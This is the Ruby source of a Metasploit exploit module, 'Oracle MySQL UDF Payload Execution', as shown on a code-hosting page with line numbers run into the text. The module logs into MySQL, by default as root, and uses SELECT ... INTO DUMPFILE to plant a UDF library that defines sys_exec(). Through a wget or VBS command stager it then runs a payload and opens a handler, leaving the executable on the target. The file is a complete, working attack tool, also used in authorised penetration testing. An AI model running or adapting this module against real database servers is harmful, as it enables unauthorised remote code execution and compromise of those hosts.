Path: blob/master/modules/exploits/multi/mysql/mysql_udf_payload.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::MYSQL9include Msf::Exploit::CmdStager10include Msf::OptionalSession::MySQL1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Oracle MySQL UDF Payload Execution',17'Description' => %q{18This module creates and enables a custom UDF (user defined function) on the19target host via the SELECT ... into DUMPFILE method of binary injection. On20default Microsoft Windows installations of MySQL (=< 5.5.9), directory write21permissions not enforced, and the MySQL service runs as LocalSystem.2223NOTE: This module will leave a payload executable on the target system when the24attack is finished, as well as the UDF DLL, and will define or redefine sys_eval()25and sys_exec() functions.26},27'Author' => [28'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the lib_mysqludf_sys.dll binaries29'todb', # this Metasploit module30'h00die' # linux addition31],32'License' => MSF_LICENSE,33'References' => [34# Bernardo's work with cmd exec via udf35[ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ]36],37'Platform' => ['win', 'linux'],38'Targets' => [39[ 'Windows', { 'CmdStagerFlavor' => 'vbs' } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit)40[ 'Linux', { 'CmdStagerFlavor' => 'wget' } ]41],42'DefaultTarget' => 0,43'DisclosureDate' => '2009-01-16',44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48} # Date of Bernardo's blog post.49)50)51register_options(52[53OptBool.new('FORCE_UDF_UPLOAD', [ false, 'Always attempt to install a sys_exec() mysql.function.', false ]),54OptString.new('USERNAME', [ false, 'The username to authenticate as', 'root' ])55]56)57end5859def post_auth?60true61end6263def username64datastore['USERNAME']65end6667def password68datastore['PASSWORD']69end7071def login_and_get_sys_exec72# If we have a session make use of it73if session74print_status("Using existing session #{session.sid}")75self.mysql_conn = session.client76else77# otherwise fallback to attempting to login78m = mysql_login(username, password, 'mysql')79return unless m80end8182@mysql_arch = mysql_get_arch83@mysql_sys_exec_available = mysql_check_for_sys_exec()84if !@mysql_sys_exec_available || datastore['FORCE_UDF_UPLOAD']85mysql_add_sys_exec86@mysql_sys_exec_available = mysql_check_for_sys_exec()87else88print_status "sys_exec() already available, using that (override with FORCE_UDF_UPLOAD)."89end9091return m92end9394def execute_command(cmd, opts)95mysql_sys_exec(cmd, datastore['VERBOSE'])96end9798def exploit99m = login_and_get_sys_exec()100101if not m102return103elsif not [:win32, :win64, :linux64, :linux32].include?(@mysql_arch)104print_status("Incompatible MySQL target architecture: '#{@mysql_arch}'")105return106else107if @mysql_sys_exec_available108execute_cmdstager({ :linemax => 1500, :nodelete => true })109handler110else111print_status("MySQL function sys_exec() not available")112return113end114end115116disconnect117end118end119120121